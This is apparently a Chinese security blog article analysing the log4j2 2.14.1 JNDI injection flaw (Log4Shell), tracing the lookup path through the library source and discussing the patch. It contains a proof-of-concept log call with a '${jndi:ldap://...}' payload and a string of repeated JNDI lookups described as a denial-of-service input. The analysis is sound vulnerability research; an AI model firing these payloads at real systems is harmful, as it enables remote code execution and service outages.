freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

log4j2利用分析与修复
2023-05-15 21:56:29
所属地 四川省

简介

log4j2是java开发的日志记录框架,可以记录,输出,打印日志文件。

环境搭建

pom.xml

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.14.1</version>
</dependency>

POC

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class DemoTest {
    public static void main(String[] args) {
        Logger logger = LogManager.getLogger(DemoTest.class);
//        logger.error("${1+1=2}");
//        logger.error("${java:os}");
        logger.error("${jndi:ldap://127.0.0.1:1389/fq9vus}");
    }
}

截图

image

调用栈

lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:221, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config)
log:481, LoggerConfig (org.apache.logging.log4j.core.config)
log:456, LoggerConfig (org.apache.logging.log4j.core.config)
log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:9, DemoTest

漏洞分析

我们直接关注这个点触发点,在PatternLayout类下toText方法。

private StringBuilder toText(final Serializer2 serializer, final LogEvent event,
            final StringBuilder destination) {
        return serializer.toSerializable(event, destination);
    }
public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {
    final int len = formatters.length;
    for (int i = 0; i < len; i++) {
        formatters[i].format(event, buffer);
    }
    if (replace != null) { // creates temporary objects
        String str = buffer.toString();
        str = replace.format(str);
        buffer.setLength(0);
        buffer.append(str);
    }
    return buffer;
}

问题就出在formatters[i].format(event, buffer),我们可以看到formatters包括哪些。漏洞触发点在MessagePatternConverter。

image

跟进后我们截取了MessagePatternConverter下format方法下核心的处理逻辑。获取传入字符串的长度,从第一位开始遍历,若遍历到相邻两个字符串为$和{ 就进入下面的逻辑,会把传入的payload赋值给value(而不仅仅是${}里的),然后会调用replace(event, value)来处理payload。

if (config != null && !noLookups) {
    for (int i = offset; i < workingBuilder.length() - 1; i++) {
        if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
            final String value = workingBuilder.substring(offset, workingBuilder.length());
            workingBuilder.setLength(offset);
            workingBuilder.append(config.getStrSubstitutor().replace(event, value));
        }
    }
}

这里会调用substitute方法来处理,如果返回值为false,最后会把source打印出来。

public String replace(final LogEvent event, final String source) {
    if (source == null) {
        return null;
    }
    final StringBuilder buf = new StringBuilder(source);
    if (!substitute(event, buf, 0, source.length())) {
        return source;
    }
    return buf.toString();
}
protected boolean substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length) {
    return substitute(event, buf, offset, length, null) > 0;
}

这里会逐个对payload进行匹配$和{ 未匹配到就返回0,pos就递增。

image

直到匹配到之后,进入下面的循环,知道找到变量结束的标记,我们要注意到substitute(event, bufName, 0, bufName.length());这里是递归调用,可能有这种${XXXX${}XXXX}形式的出现。

while (pos < bufEnd) {
    if (substitutionInVariablesEnabled
            && (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0) {
        // found a nested variable start
        nestedVarCount++;
        pos += endMatchLen;
        continue;
    }

    endMatchLen = suffixMatcher.isMatch(chars, pos, offset, bufEnd);
    if (endMatchLen == 0) {
        pos++;
    } else {
        // found variable end marker
        if (nestedVarCount == 0) {
            String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);
            if (substitutionInVariablesEnabled) {
                final StringBuilder bufName = new StringBuilder(varNameExpr);
                substitute(event, bufName, 0, bufName.length());
                varNameExpr = bufName.toString();
            }

继续跟进,这里调用resolver的lookup。我们可以看一下resolver里面的对象。

image

protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,
                                 final int startPos, final int endPos) {
    final StrLookup resolver = getVariableResolver();
    if (resolver == null) {
        return null;
    }
    return resolver.lookup(event, variableName);
}

这里会获取我们对我们的payload以:进行分割,所以会调用JDNI的解析器并调用原生的lookup。

if (prefixPos >= 0) {
    final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
    final String name = var.substring(prefixPos + 1);
    final StrLookup lookup = strLookupMap.get(prefix);
    if (lookup instanceof ConfigurationAware) {
        ((ConfigurationAware) lookup).setConfiguration(configuration);
    }
    String value = null;
    if (lookup != null) {
        value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
    }

    if (value != null) {
        return value;
    }
    var = var.substring(prefixPos + 1);
}

这里就会触发JNDI注入漏洞。

public <T> T lookup(final String name) throws NamingException {
    return (T) this.context.lookup(name);
}

同样的我们也可以调用java解析器,进行这样的利用。

image

后序修复与问题

放对比图。

public <T> T lookup(final String name) throws NamingException {
    return (T) this.context.lookup(name);
}

image

这里报了异常就会return,所以流程不会走到lookup的调用。

但是这个还是有拒绝服务的问题,当我们传入过多的${}形式时,由于StrSubstitutor.substitute的递归调用,会对每一个符合条件的都发起一次JDNI的查询,会造成长时间的拒绝服务。

logger.error("${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}");
# web安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录